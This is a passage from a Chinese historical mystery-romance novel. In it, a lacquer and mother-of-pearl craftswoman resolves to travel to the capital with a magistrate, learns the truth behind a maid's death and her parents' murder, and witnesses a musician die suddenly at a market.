她拿起冷掉的包子啃了一口,用另一只干净的手摸了摸漆盒,眼底不再明媚。 过了好一会儿,她才喃喃自语道:“这样好的任务,对我这种人来说,是不是太奢侈了点?” 第三十章 要工钱吗? 几日后 这段时日,冷萤一直在忙着给苏婉琰办后事。 今日好不容易可以歇息一日,她又开始去书房翻看阁里的簿籍。 经过前几次的事情,让她深刻地意识到,霞锦阁目前存在的一些问题,确实已经到了不容忽视的地步了。 于是,她决定大刀阔斧地“修剪枝叶”,删繁就简、去粗取精。 她专程去找祖母提了一嘴这事,祖母年纪大了,已不想再管这类杂事,便让她自己看着办。 只有一点要求,就是让她不要累着自己。她保证了好几次,祖母才同意她着手开始。 琉月在一旁替她研墨,见自家小姐表情严肃地提笔写写划划。 虽然看不懂写的什么,但她知道小姐已经忙了很久了,茶已经凉了也没见喝上一口。 虽然有些心疼,但她不敢打扰小姐做事。直到书房外传来了敲门声…… 琉月轻轻放下手中的东西,悄声走去开门。 “小姐正在忙了,有什么事?” 门外的小厮身后站着一个男人,开口道:“方大人请冷掌柜去县衙一趟。” 冷萤认出了是陈全的声音,忙放下笔走到门口,“大人有说什么事吗?” “没说。”陈全对外人说话一向简洁。 冷萤微微点头,开口道:“好,陈护卫稍等,我换件衣服就来。” 再次踏进县衙,冷萤明显感觉到,两旁站着的官差们,站姿比以前要挺拔许多。 看来,方骅这几天也没闲着。 方骅背对着大门站着,手中不知拿着什么东西看得入神。 “几日不见,大人似乎清瘦了些。”冷萤突然想到,自方骅到陵县就开始查案,似乎一日都未曾歇过。 听见她的声音,方骅转过了身。 只是他的脸色……似乎不太好看。冷萤不禁在想,自己不会又是哪里得罪了他,所以要把她请过来批评教导一顿? “冷萤……”方骅见到了她,脸色更加难看了。 眼见对方叫了她一声,又神色凝重地住了嘴。 冷萤不敢胡乱猜测,开口问道:“发生什么事情了?” 方骅将手中的东西缓缓卷起,朝她走了两步,语气沉重:“圣上已下诏,陵县后山上的所有漆树,从今日起全数归公于朝。” 突如其来的消息,让冷萤如同被雷击中,整个人瞬间凝固在了原地。 她强迫自己将方骅说的话好好想了一遍,确定自己并没有听错,才不可置信地缓缓抬眼,看向对方。 “为什么?”她感觉自己喉间发紧,说出这三个字都费了好大的气力。 “我也不清楚。”方骅有些担心冷萤的情绪,“我猜,是这次的贪污案传到了圣上耳中。朝廷这样做,也是为了均天下之利。” “可是,我们年年都有按时交税。将这水搅浑的,明明就是那些别有用心之人。可为什么到头来,却要让我们来担责。”冷萤不是一个喜欢抱怨的人,但在这件事情上,她不得不为自己叫屈。 “或许等这阵子的风头过后,朝廷会沿用前朝的均输之治,到时候你购求大漆会方便许多。当然,这只是我个人猜测,至于要不要静观其变,就要看你自己了。”方骅知她着急,也是在真诚地为她出主意。 冷萤仔细想了想,发现自己做不到,“我不想静观其变。我有本钱可以生活得很好,祖母跟着我不会吃苦。可我阁中那些匠师和学徒,他们家中老小都靠这一门手艺过活。若是因为我购不到大漆,而导致霞锦阁闭肄,他们该何去何从?” 一句话,让方骅无话可说。 但他心里也清楚的知道,有时除旧布新,就是会涉及一部分民众的利益受损,这是一个无法改变的事实。 “抱歉。”千言万语,方骅也只能说一句抱歉。 冷萤虽面色冷淡,但还是反问道:“大人为什么要抱歉?这与你又有什么关系?” “那你现在准备怎么做?”方骅见她态度坚决,知道自己无法劝住她。 眼前的女子低垂着眼,不知在想着什么,并没有马上回答他。见她一时应当不会理会自己,方骅侧身将手中的诏书递给陈全。 突然! 冷萤一步跨至他面前,目光炯炯有神地看向他。 “做……做什么?”他从不知,自己居然会败在一名女子的眼神下。 冷萤柔柔一笑,福身说道:“大人,您聘请民女做幕僚吧?民女很勤快的。” 方骅还以为自己听错了。 他愣了好半晌,才开口道:“做幕僚,勤快就行了吗?” “我还聪明!”冷萤为达目的,已经开始不顾自己的脸面了。 方骅深吸一口气,“你先起身。不如我们先说说,你怎会突然有如此奇怪的想法?” 冷萤抿抿唇,站直身体抬眼问道:“很奇怪吗?” 从对方的嘴里,自己是问不出所以然了,此刻的方骅深刻意识到。 思虑良久,他猜测,“冷萤,你不会是想去京城吧?”如若不然,她怎会变得这般不正常。 见他猜对了,冷萤也没打算隐瞒,她坚定地点了点头,开口道:“对,民女要上京陈情!” 方骅的面色瞬间一沉,神情严肃问道:“你是认真的?知道这意味着什么吗?敲了登闻鼓,不将事情说个清清楚楚,可是要被打几十板子的!” 他从未想过冷萤的胆子会这么大,居然为了霞锦阁完全不顾自己,“你也知道查案要按层级来,为何自己遇到事情了,却选择最冒险的一种?” “当然知道。”冷萤知道自己这样的选择,一般的人不会做,“但是,如果我不这样做,陵县就无人再为这件事情发声了!” 见方骅背着双手,表情虽复杂却不说一句话。 她开始忽悠,“大人,大漆案的涉案官员,不是一个都还没找到吗?您看,我懂大漆、精螺钿还善手工。跟在您身边,还可以为您出谋划策,您一点都不吃亏的。” “要工钱吗?”方骅问道。 冷萤微微一笑,“要的。” “那算了。我本来也不支持你这样做,太过于冒险了。你这个小身板,承受不了几板子的。“方骅苦口婆心地劝道。 冷萤顿时不可置信地看着他,“大人,您为了不付这一点工钱,居然用打板子吓唬我?谁人不知,当今圣上最是心软。只要我所说之事属实,没人会打我板子。” 方骅盯着一脸倔强的人看了好一会儿,实在是无奈,“你就不能再等一等吗?” “等?要等到什么时候?”冷萤目光坚定道:“至少我得努力过,才对得起霞锦阁里的所有人。” “所以,为了他们,你连命都不要了?”方骅不懂她为何这般执着,明明以她的身家,就算不要这霞锦阁,也能够过得很好了。 “当了掌柜,这不就是我应该做的吗?何况这种事,总要有人去做。朝廷用了他们认为正确的处理方式,而我,选择了自己认为正确的方式抗议。不管对错,我至少可以坚持自己的选择!”冷萤理所当然道。 “你真是……”方骅见自己怎么也劝不动,只得开口道:“让我想一想。府衙派的人已到,趁我还没走之前,去看看林云谢吧。” “谢谢大人。”冷萤道谢。 她知道他在暗查陈年旧案,如果贸然答应自己,似乎也不太可能。 但为了霞锦阁里的所有人,她还是希望方骅能同意这件事情。 第三十一章 林云谢 昏暗的牢狱里。 林云谢听完苏婉琰的遗言,双眼渐渐被染红,他抬头看向封闭严实的房顶,久久无言。 冷萤也静静站在那里,等他平复心情。 她知道,林云谢肯定不愿相信,曾经那个温柔坚韧的女子,会选择用服毒的方式结束自己的生命。 良久,他慢慢收回目光,冷萤却发现他的神情已经变得完全麻木,仿佛就在刚才,他的整个魂魄,已经随着那位身穿红色嫁衣的女子,离开了这个世间。 “婉琰她……到死都在怪我杀了青果吧?”林云谢苦笑一声,终于开口。 冷萤看着他颓丧的样子,开口道:“她一直都不愿相信青果是你杀的,但你却辜负了她对你的信任。” 听了她的话,林云谢渐渐收起苦笑,嘴角向下颤动了下。随即,冷萤听见了一声属于男子暗哑的泣音。 她看向林云谢,却见他目光温柔地看着牢房的某一处,不知在想些什么。 这一刻,冷萤仿佛又看见了以前那位谦谦君子。 “冷掌柜,如果我说,是青果求我杀了她的。你相信吗?”他并未收回目光,依旧看着那处,对冷萤问道。 冷萤并未直接回答他的问题,而是问道:“那晚……到底是怎么一回事?”青果明明已逃出,怎会又死在了那个房间? 林云谢无神的目光转向她,扯了扯嘴角,表情木然,“你应该知道,在陵县除了苏知县,大家最信任的人便是王大龙。即便是我,那晚听青果说了所有的事,第一反应也是不敢相信。” “这和青果求死,又有什么关系?”冷萤问道。 林云谢低下头,看着自己的双手,仿佛此时上面还沾满了鲜血一般。 随后他握紧了拳头,回道:“我们好不容易回到房间,躺在地上的婉琰突然有了呼吸。你知道被人重重抛下山崖,又一瞬间被救起的感觉吗?我当时已经跪在地上感谢老天了。可是青果的一句话,又将我重重摔下了深渊。” “她说了什么?” “她说……”林云谢声音变得越发低沉,“王大龙不会放过我们。青果有一个相好的,也就是刘婶的儿子。两人某次夜半相约时,正好听见王大龙与几个不认识,却衣着华贵的人,在密谋将大漆运至哪几处地方。也就是那时……她听到了那些官员的姓名。” “你是说阿伍吗?”冷萤惊呼,她完全不知阿伍原来与青果竟是一对儿。 林云谢点点头,“对,就是他!” 原来,刘婶的儿子阿伍也是因为这场大漆案,才会不幸殒命。 等等,她方才好像听见林云谢说什么官员…… “你是说,婉琰手中的官员名单,是青果留给她的?”冷萤压低声音,凑近林云谢问道。 “是的。”林云谢也小声回道。 冷萤心中大喜,即刻问道:“那你知道名单上都有谁吗?” 林云谢摇了摇头,“方大人也问过与你同样的话。但那时我,根本没有心力去关心这种事情,只一心想着帮婉琰逃命。直到那些人找上了我们,我才知道了事情的严重性。” “所以呢?”冷萤着急问道。 “所以,直到婉琰将砚屏送去给你,我都不知道里面写着什么。”林云谢也是一脸遗憾,与帮不上他们的愧疚。 冷萤瞬间失望至极,她猜到苏婉琰未将官员名单告知林云谢,可能是为了保护他。 但谁都不会想到,砚屏就这么被人偷走,而那些官员名单,也一并随之消失无踪。再想要追查,只怕得多耗费好几倍的心力了。 算了,或许是老天爷另有安排呢?冷萤也只能这样想了…… 于是,她继续上一个话题,问道:“那夜,是阿伍救了青果?” 林云谢点了点头,道:“青果说,那夜被发现时,阿伍为了救她,自己跑出去送了死。爱人死在自己面前,她日日还要守着这个秘密,却一个字都不敢说。她怕说了以后,所有知情的人都会被她害死。” “如果她当初,早些说出来就好了。”冷萤却持有不同的想法。 青果是站在自己的位置上考虑整件事,但或许她早点将这事告知苏林生。 以苏林生当时的地位与能力,不管对方有多大的权力,至少可以早做准备。而不至于,当所有坏事接踵而至时,无一人有能力抵抗住那些可怕。 “其实后来……她也后悔了,可一切都已太迟。”林云谢喃喃道。 此时的林云谢虽然语气平淡,却蕴藏着极大的悲愤,“青果她……把知县大人和婉琰的命,看得比自己的还重要。所以在得知婉琰还尚存一丝气息时,她立刻选择牺牲自己,求我杀了她。她死前请求我,希望我能为知县大人和阿伍报仇。” 原来这才是,那晚的真相…… 他满眼写着忏悔,继续说道:“除了青果,我最对不起的就是张福临。我已托人告诉父亲,将我名下所有商铺赠与他家人。这样,即便我死后在九泉下见了他,心里也会好受一些。” 见他神情痛苦,冷萤却实在无法开口安慰。毕竟,张福临死得太无辜了,他那样善良的人,却死在自己信任之人的手中。 她低下头,从随身带的包里找出那只漆镯,递给了林云谢,“物归原主。婉琰做这只漆镯时,一定耗费了不少心血。” 林云谢接过漆镯,将它紧紧放在胸前,忍了好久的泪水,终于再也止不住地流了下来。 “谢谢……”他强扯出笑意,对冷萤道谢。 “不谢!”冷萤叹了一口气,“我相信,婉琰也是希望,你能戴着这只漆镯走回她身边。” 走出牢狱,冷萤看着方骅站在不远处,想着应是在等她。 “大人想通了吗?”她走过去,方骅正好也将目光转回,望向她。 从对方的眼神里,她似乎找到了自己想要的答案。 方骅静静看着她,仿佛下定某种决心问道:”如果我不同意与你一起上京,你预备怎么办?“ “我会选择一个人去。” 或许她独自上京,即便成功到达,可能最后还是会白跑一趟。 但转念一想,霞锦阁反正都已经快没了,她马上就要成为一个闲人,何不趁此机会,去京城为自己和阁里的众人博了博。 方骅见她态度坚决,仿佛从未改变过,只得开口问道:“那方才说的话还算数吗?” “什么?”他们方才说的话可多了。 方骅眉目掠过浅浅无奈,提示道:“幕僚。” 经他提醒,冷萤瞬间想起了这事。 她朝方骅走近了些,抬起眼观察了他许久,只看的对方有些慌乱地眨了眨眼,这才浅笑道:“大人,帮归帮。到时候要记得给工钱哦!” 本来被冷萤看得有些心慌的方骅,一听她说这话,顿时横了一眼过来,“冷掌柜算得可真清楚。” “自然……”冷萤难得俏皮一笑,说道:“谁让民女是做生意的呢?” 见方骅别过脸不想理她,冷萤也学着他将双手背在身后,跟着他慢慢走着。 她知道普通的老百姓,想面见圣上几乎是异想天开的事。但凡事若不拼上一拼,怎知不会成功。 毕竟未来发生的事情,谁又能说得准呢? 况且……京城对于她来说,也许盛满了伤痛与遗憾。 但那里……曾经也是她的故乡啊! 第三十二章 江氏一族 “跪下!” 冷萤刚与江氏说了自己要去京城的事,江氏便立刻变了脸色。 她气得扶着丫鬟的胳膊站起身,对冷萤大喝道:“你知道那里是什么地方吗?人人避之唯恐不及,你却偏偏要凑上去!” 应声跪下的冷萤,其实早就做好了心理准备。 她知道祖母讨厌京城,讨厌那个让她失去女儿和女婿的地方。 可江氏已年迈,霞锦阁只有冷萤一个继承人。她若不去试一试,江氏一族的螺钿镶嵌手艺,便无法成功传承下去。 冷萤很小的时候,就听祖母讲过。 江氏一族世受皇恩,自第一代天子登基,便一直为朝廷进贡螺钿手工艺品。 到祖爷爷江秋水一代,他成了当朝螺钿漆器工艺第一人。手艺更是深受天子和嫔妃们的喜爱。每年的民间工艺铺,都要以其为首,模仿他“点螺”手法,偷画他的草图,就连配色也要十成十模拟。 可惜,花无百日红。 直到前朝开设了银作局,江氏一族便就此隐匿至民间,做起了小本生意。 虽说江氏所做工艺品不再是贡品,但独创的手法和精巧的设计,让他们在民间也颇受众人追捧。 就连有些王公贵族,也慕名而来,只为求得江氏手作之精品。 可变故……就发生在冷萤六岁那年。 她永远记得那一日,她去找隔壁的郯哥哥玩。他俩一同爬至郯哥哥院里的一棵树上摘桑葚吃。 从郯哥哥的院子里,可以看见她家院子。 她捧着刚摘的桑葚,吃得满嘴都是的时候,却看见娘亲身边的芸娘急匆匆地跑出娘亲的房间。 她正准备和芸娘打招呼,却看见她满身都是血。 虽然当时的她才六岁,可看着芸娘惊恐的脸色,急切的步伐,她下一瞬便立刻从树上蹿了下来。 郯哥哥因为在她的身后,没看见刚才那场景,却还是跟着她爬下了树。 冷萤下树后,第一反应便是往自己家中跑,却在半道被郯哥哥的爹爹,她平时叫做姜叔叔的男人,拦住了脚步。 姜叔叔将她与郯哥哥一同锁进房间,并命令他们一步都不准踏出,随后便匆匆离开。 等冷萤再次走出房间回到家时,她的爹爹和娘亲就不见了。 随后第二日,她在大堂摆放的两具棺椁里,看见了自己的爹爹与娘亲。 一夜之间发丝尽白的祖母一直抓着她的手,摸着她的脑袋,嘴里念叨着:“阿萤不要怕,爹爹和娘亲会一直保护你的。” 可那个时候的她已经懂事了,知道爹爹和娘亲其实就是死了,再也无法保护她,也无法和她说话了。 当时的她,内心不停反复想着,她其实不用爹娘保护,她长大后可以保护他们的。如果是这样,爹娘能不能从棺椁里醒过来? 她还记得,那时的她趴在娘亲的棺椁上嚎啕大哭。 下一瞬,便被祖母捂住了嘴。 她哭到岔气,脸在祖母粗糙的手掌下被憋得通红。看她哭得伤心,祖母也只是把她死死搂在怀中,慢慢用手抚摸着。 过了几日,祖母发卖了家中所有的奴仆,带着很少的行李,与冷萤一起回到了陵县。 祖母以为她那时还小,什么都记不得了。其实那时候的她,早已有了记忆。 即便这些年,祖母什么都不说。每每去看爹娘时,也只是默默流泪。 但慢慢长大的冷萤,心里也渐渐明白了…… 她的爹娘,是被人害死的! 虽然她不知是被谁人害死,但对方一定是个有权有势的人。不然以祖母与姜叔叔的性子,肯定在当年就会为他们报仇。 江氏见冷萤跪了许久一言不发,嘴唇动了动,最终还是忍住了没有让她起身。 “为什么不回答?是嫌祖母现在老了,说话你都懒得理了吗?”江氏故意板着脸,站在冷萤面前,开口问道。 冷萤原本低垂的头,在听到江氏的问话,慢悠悠地抬起来,“祖母,您在我心中可是王母娘娘,您怎么敢说王母娘娘老了呢?这要是被听见了可不得了。” 她自小犯错后,只要这么一说,祖母准会笑出声。 冷萤在心中暗数,等到她数到三时,祖母就会原谅她,叫她起身了。 可这次,她偷偷数了好几遍了,站在她身前的江氏硬是嘴角都没扬一下。 “嘴倒是挺甜的,就是这张嘴的主人不怎么听话。”江氏冷冷地说了句,伸出手让丫鬟扶着她坐回了椅子上。 “祖母这就冤枉阿萤了。阿萤从小到大,谁的话都不听,可就没有不听过您的话。人家不是把原因都讲与您听了嘛……” 只要是在祖母面前,永远都是她在甜腻腻撒着娇,而祖母则是笑吟吟地看着她。 当然,今日除外。 往常她用在祖母身上的方法,今日一件都不管用了。 “我说了不行就是不行!我费了那般大的劲,就是想让你与京城彻底断了联系。”江氏痛心疾首地说道:“结果现在倒好,你二话不说,便要与陌生男子约着去京城。这么多年,我算是白教你了!” 冷萤一激动,差点站起了身。 江氏的眼一瞪,她又期期艾艾地跪了下去,“祖母您怎么这么说话。哪里是陌生男子,他可是救了您外孙女好几条命的好人。我俩堂堂正正地搭个伴,您怎么能误会成这样……” “谁知道他是京城哪家的?祖母早就同你说,京城没几个好人,不要相信他们的话!结果你全都当成了耳旁风。” “谁让祖母您不告诉我当年的真相,阿萤只能自己上京去找了。”终于,冷萤说出自己暗藏在心中很久,去京城的另一个目的。 “是吗?是迫不及待地上京去送死吗?”江氏气得开始捂住胸口,旁边的丫鬟看了,连连拿着扇子过来打风。 冷萤也朝前跪了跪,极为担心地伸手帮江氏顺气。 见她这般乖巧,江氏无可奈何地看了她一眼,伸手让身旁的丫鬟下去。此时,房间里便只剩下了江氏与冷萤两人。 “从小到大,你问了我多少回,我都不愿告诉你。”江氏长叹一口气,慢慢说道:“第一,是不想让你为了你爹娘的死,而生活在仇恨中。” “第二,你爹娘的人生已被人生生切断。祖母余生的愿望,就是希望你能明媚长大,岁岁无虞。你的人生,不该活在复仇之中。” “祖母……”冷萤再也忍不住,上前抱住了江氏。 江氏的手轻轻抚摸着冷萤的发丝,继续道:“所以当年,在我得知你爹娘的死与皇宫内院有关系时,便第一时间带走了你。并不是不想为你爹娘报仇,而是选择保住他们唯一的掌上明珠。我这把老骨头,即便去送了死,也不见得能杀掉那些人。但以我那时的能力,却可以将你养得好好的。” “皇宫内院?”冷萤听见这几个字,控制不住地支起自己的身子,激动地看向江氏。 江氏点了点头,回道:“对!当年你姜伯伯打听回来的。但具体是哪些人,我们到现在都没办法查到。” 第三十三章 离别 “所以这么多年,我们才会选择不告诉你。” 江氏的手,轻扶着冷萤靠在她腿上的脸颊,一下又一下,仿佛是在安抚她悲伤的情绪。 冷萤看着江氏陷入回忆的眼神,眼尾的皱纹清晰可见,咬了咬唇开口道:“祖母,阿萤向您保证,一定会小心行事,绝对不会任性莽撞。” 江氏深深叹了口气,低下浑浊的双眼,看向她,“你长大了,祖母也拦不住你了。” 微微直起身子,冷萤直直跪在江氏面前,紧握着她满是岁月痕迹的双手,认真地说道:“祖母,阿萤不可能永远躲在您的羽翼下。我想要快速成长,成长到可以为您撑起一片天。而不是那个,永远在自己一亩三分地里,埋头耕耘一辈子的小姑娘。” 江氏没有说话,表情却渐渐变得欣慰。 见祖母神情松动,冷萤继续说道:“阿萤以后会有自己的一片天,也会有自己的后代。如果我没有如祖母年轻时一般,看过这广阔天地。如何像祖母一样,培养出我这样一位优秀的传承人呢?”说完,她俏皮一笑,一点也不觉得自己说得有啥问题。 终于,江氏被她给逗笑了。 她伸出一根手指,轻轻点了点冷萤的额头,“你啊,小小女子,心性却这般大,也不知是好还是坏。” “当然是好啦!”冷萤立刻说道;“祖母,阿萤以后可是要继承您衣钵的。我不去阅尽山河,如何替您将这螺钿技艺传承下去嘛。” 江氏见她决心已下,只得弹了弹她的小脸,故意冷声道:“还不站起来,一会儿膝盖该肿了。” 冷萤听罢,立刻“腾”得一下站起身,撒娇着让江氏替她揉膝盖,“还是祖母疼阿萤。” 江氏故作生气地看着她,慢慢再也忍不住浮起了浅笑。 “我的阿萤,是如珍珠一般的姑娘。小时候是一颗小小的沙砾,如今却长成了内心坚韧的温润女子。祖母愿你,在离开蚌壳的保护后,永远‘落落欲往,矫矫不群。’” 这句话一出,江氏仍在笑,冷萤却忍不住潸然泪下。 “祖母……” 她飞扑过去抱住江氏,哽咽地说道:“阿萤不在家时,您一定要好好用饭,好好休息。我将琉月留下来照顾您,我也会尽快赶回来陪您的。您等着我……” 江氏轻拍她的肩膀,久久没有说话,只是双眼早已满含热泪,几欲落下。 冷萤今夜如儿时一样,陪着祖母一同入眠。只是那时是祖母哄她,现在换成了她哄着祖母睡觉。 天色微亮时,冷萤悄然起了身。 昨日她们聊至深夜才睡,可不能将祖母吵醒了。 正蹑手蹑脚走出江氏的房间,一抹淡黄色的影子便闪现在冷萤眼前。 “珊瑚,今日起得这般早?怎的不多睡一会儿?”见来人是珊瑚,她微微松了口气,含笑问道。 珊瑚的嘴角拉得老长,一大早看起来便怨气十足,往常挂在嘴边的甜笑也不见了。 “怎么了?是谁欺负你了吗?”冷萤有些担心地问了句。 “你!”她今日还格外惜字如金。 “我?”冷萤一时没明白对方的意思。 珊瑚吸了吸鼻子,嘴巴瘪了瘪才道:“冷姐姐是要将我丢在这里吗?” 看着面前人委屈十足的样子,冷萤好似懂了她今日态度为何这般奇怪了。 “你知道啦?”她浅言问道。 不过,自己昨日才做的决定,这家伙怎么知道得这样快?不过也有可能……是她去寻自己时,琉月告知的? 珊瑚将头转开,“哼!也不带上我!” 这…… 虽然自己与珊瑚的确格外投缘,但她们刚相识不久,此番上京也不是游山玩水,所以冷萤压根都没想过要带上对方。 “嗯……这次上京是有要事在身,你跟着或许会很无聊。不如就留在霞锦阁,我会派人好好照顾你的。”其实她想的是,以对方小孩的心性,估计在此处也待不久。 二人以后,怕是很难再见面了。 但珊瑚好似并不这样想,她歪着头朝冷萤调皮一笑。 冷萤正在心中暗叹,怎么会有人情绪可以恢复如此之快时,珊瑚开口了:“可我家就在京城,冷姐姐不带我一起回去吗?活生生的舆图在此哦。” “你家……原来在京城?”这一点,冷萤倒是没想到过。 不过,还是不行! 方骅似乎和珊瑚不太对付,自己好不容易磨得对方同意了,未经他的允许,又擅自带上另一个人,他怕是要翻脸的。 “对不起,珊瑚。冷姐姐是真的有要事在身,实在不方便带上你。”想到这里,冷萤便不再犹豫,直接开口拒绝她。 冷萤怕打扰到祖母,将珊瑚带回自己房中。结果她不知是不是生气了,无论自己怎样邀请,都不肯踏入房间半步。 “冷姐姐真的如此狠心吗?”珊瑚站在门外问她,语气里竟有一丝怨怼。 这一下,可把冷萤为难住了。 看着对方微微皱眉,眼睛红得如小兔子般,却始终不肯掉一滴泪。让冷萤这个看不得女子伤心的人,差点心软答应了她。 “不是不带你,这次本是随方大人一同上京,我实在没有办法擅自做主。”冷萤心一软,向她解释道。 没承想,听了这话的珊瑚表情不再伤心,居然还有些嘚瑟地开口道:“他啊?他巴不得我跟着呢。冷姐姐如果是因为这个人,那大可不必这般顾虑。” 冷萤停下收拾东西的手,有些不懂她的意思,略带疑惑地看过去。 “哎呀……”门外的小姑娘情绪瞬间明朗,踏进房中对她说道:“冷姐姐你就带着我嘛,他如果敢说你,我就用弦丝缠死他。” 随后她自顾自地害羞一笑,挽起冷萤时露出自己的小梨涡道:“我还以为是冷姐姐你……不愿意带上我呢。” 见她唇边的梨涡越来越深,冷萤很是无奈道:“那如果方大人不同意,你预备怎么办?”她实在是,有些搞不定这小姑娘了。 “那珊瑚便立即离开。你就说好不好嘛,冷姐姐……”珊瑚机敏地眨了眨眼睛,仿佛与她说定了一般。 看着对方兴奋到不得了的模样,冷萤实在不忍心泼她冷水。 但以自己对方骅的了解,他哪里是这般容易妥协的人。 “那就……去试试吧!” 第三十四章 琥珀藏(1) 昌县集市里,烟火气息十足。 “炸罗菔饺子喽,喷香扑鼻的罗菔饺,百吃不腻,越吃越好吃喽~” 冷萤一行三人刚踏入昌县,集市上摊主的叫卖声便不绝于耳,比陵县看起来要热闹许多。 她正想问身边的珊瑚和方骅要不要吃点东西,却见珊瑚这家伙,已经跑到炸罗菔饺的小摊前,双手不由自主地握拳,激动到像只小兔子般上蹿下跳。 冷萤觉着,若不是那铁锅里有热油,这家伙可能手都直接伸进去了。 倒是方骅神情淡淡,好似对集市里琳琅满目的吃食一点都不感兴趣。 “大人要吃吗?我去买点回来。”冷萤嘴上虽问着对方,心里却想着另外一件事。 她其实到现在都没搞明白,为何在陵县时,方骅虽然表情万分不好看,但还是二话不说同意了珊瑚与他们同行。 就好像,他早就知道珊瑚会有此要求一样。 “我不吃,你们吃吧。”方骅回道。 随后,他瞥了一眼正弯腰看摊主炸饺子的珊瑚,眼里毫不掩饰地闪过一丝嫌弃。 这也是……冷萤认为更加奇怪的地方。 明明这人看起来非常不爽对方,但一路上珊瑚不管做什么,他都是这种不冷不热的态度。 不仅懒得理,嫌弃之意都快要溢出表面了。却偏偏又总是一副忍气吞声的样子,好像有谁拿着刀,架在脖子上逼他做这些似的。 珊瑚一可爱的小姑娘,倒是也不怎么与他一般计较。 准确来说,是根本没把他放在眼里。 每天都巴巴地跟在自己身边,但凡方骅与她多说几句话,那丫头指定要搞出点什么动静,引起她的注意。 “冷姐姐,快来呀!这个好香!”珊瑚手里,已经捏着一个用油纸包住的罗菔饺了。 冷萤点头浅笑,快步走了过去。 珊瑚见她过来,将手中的炸饺子递给她。冷萤朝油锅里看了一眼没接,只说道:“你先吃吧,我等下一个。” 珊瑚也不客气,她应该早就在等冷萤说这句话。 冷萤话音刚落,她便一口咬了上去。酥酥脆脆的声音,伴随着她被烫得嗷嗷叫的声音,一下子逗笑了冷萤。 她拿出手帕,替珊瑚擦了擦嘴边的油渍。一股罗菔独有的浅辣清香,带着羊肉醇厚之气的炸饺子递到了她面前。 收起手帕,她抬眼一看。是方骅见她双手不方便,替她接过了摊主递过来的吃食。 “谢谢大人。”她双手接过,随口问了句:“你真的不吃吗?” “他才不吃这些呢!冷姐姐你自己吃,那是我给你买的。”珊瑚颇为霸道,见冷萤要将手中的吃食递出,慌忙控制住她的手。 冷萤见方骅脸色变得有些难看,只能对着他无辜地耸了耸肩,然后当着他的面拿着酥脆的饺子咬了一口。 也不知,是她的举动还是珊瑚的霸道,将方骅给惹怒了。 他张口道:“我也要吃,你给我买。”他目光直直地盯着冷萤手中的饺子,只盯得她手中的饺子越发觉着烫手,只得乖乖转身对着摊主再要了一个。 “你自己没长嘴啊,干吗非要冷姐姐帮你买?”珊瑚倒是一点不怕他,张口就数落道。 方骅看都没看她一眼,嘴里冷冷道:“我愿意,她也愿意,关你啥事?” “你……”珊瑚正要发作…… 突然,一阵浑厚温润的弦声传了过来,瞬间引起了在场所有人的注意力。 冷萤也与众人一样,心思立刻便被那独特的音色所吸引。 她心不在焉地接过摊主递来的炸饺子,看都没看递给了方骅,也不管对方接没接住,拉着珊瑚便踏着乐声寻了过去。 几人走近后,才从被围观的人群里,看见一位身着碧绿长衫、脸上系着淡纱,右眼蒙着一块白布的女子。 她独坐在琴室门前,抱着一把阮琴轻轻拨弹着。 那弦声时而悠扬恬静,时而奔放不羁。但女子身体并未随阮声晃动,唯一露出来的一只眼睛也平淡无波。 就仿佛……这让人沉醉其中的弦音并不出自她手。 “这看起来圆圆的,声音又有点像琵琶的,是什么呀?”珊瑚不明所以地朝冷萤问道。 “它叫阮琴,是古朝之物。我朝多爱琵琶,所以见过它的人不多。”冷萤向她解释。 虽说,自己是被这独特的音色吸引过来的,但在看见那碧衣女子手中抱着的那把阮琴后,冷萤的双眼隐隐开始发亮。 那女子手中的阮琴可不一般,乃是古朝的螺钿紫檀阮琴的仿制品。 真品在古朝时,被当朝皇帝赐给了倭国。 虽说这把阮琴是仿制品,但琴面所镶嵌的宝相花云头纹螺钿上,全都装饰着极珍贵的琥珀与玳瑁,看起来就价值不菲。 冷萤看着女子手中的螺钿紫檀阮琴,心中默默想着,自己一会儿不知能不能找那女子说说好话,将那阮琴借来一观。 自己也只是在书中看见过真品。这次一见,虽为仿制,但也令她惊艳到无以复加。 那碧衣女子一曲渐缓,冷萤见她准备收手不弹,欲上前与人搭话时,变故却骤然发生。 只见那刚站起身的女子,手中的阮琴还抱着,身体却直直倒了下去,引起一旁众人的惊呼。 那女子即使晕倒,也紧紧抱着那把阮琴不肯放手。 冷萤见状,赶忙上前。 方骅与珊瑚也跟了过去,见冷萤想伸手碰那碧衣女子,两人齐齐叫住了她。 “我只是想帮她将面纱摘下,以免她呼吸不畅。”冷萤有些无措地说道。 方骅见她不懂为何不能碰,轻扯唇角小声开口道:“你再仔细看看她的面部。” 冷萤顺着他的目光看过去,却见那女子原本淡色的面纱,不知被哪处冒出来的鲜红晕染成了暗色。 “她这是……”冷萤惊道。 “死了。”珊瑚伸手,隔着面纱轻探对方的鼻息,随后面无表情地告诉她。 这就……死了? 难以置信地看向躺在地上的碧衣女子,冷萤见她即便已死,还紧紧箍着身前的阮琴,一时竟有些动容。 这时,琴室里跑出一位男子,惊慌大叫道:“云娘子?云娘子你怎么了?” 在发现对方已死后,他抬起头看向离得最近的冷萤三人,大声问道:“她怎么了?你们,对她做了什么?” 珊瑚第一个便受不得这闲气,见对方二话不说就污蔑他们,她也毫不客气地回嘴道:“喂,你不要血口喷人啊!我们方才离她那么远,她自己随便倒下就死了,这也能怪到我们身上?” “那你们怎会突然在这里?”那男子也是毫不退缩,扯着嗓子大声问道。 “当然是见她倒下了,过来看看是啥情况啊!” 第三十五章 琥珀藏(2) 珊瑚理所当然地说了句,那男子却丝毫不信。 这时,围观的人走出来说了句公道话,这才打消了那男子的怀疑。 “这女子是谁?”方骅开口问道。 男子起身让店里的小厮去报官,见这几人不离开就算了,还在一旁问东问西,烦躁地说道:“关你啥事!” 方骅折扇已拿在手中,珊瑚的手也摸到了腰间,冷萤见这样下去定要开打,连忙走上前,站在那男子面前。 “怎么,过来找打?”那男子脾气似乎不太好,见冷萤无端站在他面前,斜着眼痞里痞气地问了一句。 冷萤忍着气,控制身后蓄势待发的二人,冷静开口道:“请问,您可是这家琴室的掌柜?” 男子扯着碧衣女子怀中的阮琴,见这三人左问一句,右问一句,倏然站起身朝着冷萤大喊道:“你们有完没完?” 见对方情绪实在不稳,冷萤只怕自己再不与这人说上话,就快要控制不住后面的两人了。 于是,她将目光移至碧衣女子抱着的阮琴上,开口道:“古朝的螺钿紫檀阮琴,大漆打底,能工巧匠运用‘点螺’技法施以灵魂,真是难得一见。” 男子听罢,正努力想从碧衣女子身前抽出阮琴的手一愣。再转过身时,已从满心不耐,多了一丝欣赏。 